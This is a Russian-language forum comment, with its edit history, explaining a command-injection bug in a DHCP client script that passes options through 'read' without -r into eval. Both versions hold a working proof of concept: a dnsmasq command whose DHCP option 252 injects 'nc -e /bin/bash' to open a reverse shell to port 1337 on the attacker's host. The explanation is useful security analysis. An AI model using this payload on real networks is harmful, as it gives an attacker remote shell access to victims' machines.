История изменений
Исправление legolegs, (текущая версия) :
Для Ъ:
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
Я не сразу допёр как это относится к коду из оп-поста (где eval). Но суть в том, что в скрипте dhcp-client все эти опции кладутся в переменные окружения, примерно так
DHCP4_DERP=herp\'\&date\ \#
declare
их при выводе опять же эскейпит, а вот команда read
без ключа -r
это экранирование разбирает (но не раскавычивает), в результате eval
'у на вход подаётся не безопасное
export new_derp='herp'\''&date #'
export new_derp='herp'''&date #'
Исходная версия legolegs, :
Для Ъ:
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
Я не сразу допёр как это относится к коду из оп-поста (где eval). Но суть в том, что в скрипте dhcp-client все эти опции кладутся в переменные окружения, примерно так
DHCP4_DERP=herp\'\&date\ \#
declare
их при выводе опять же эскейпит, а вот команда read
без ключа -r
это экранирование разбирает, в результате eval
'у на вход подаётся не безопасное
export new_derp='herp'\''&date #'
export new_derp='herp'''&date #'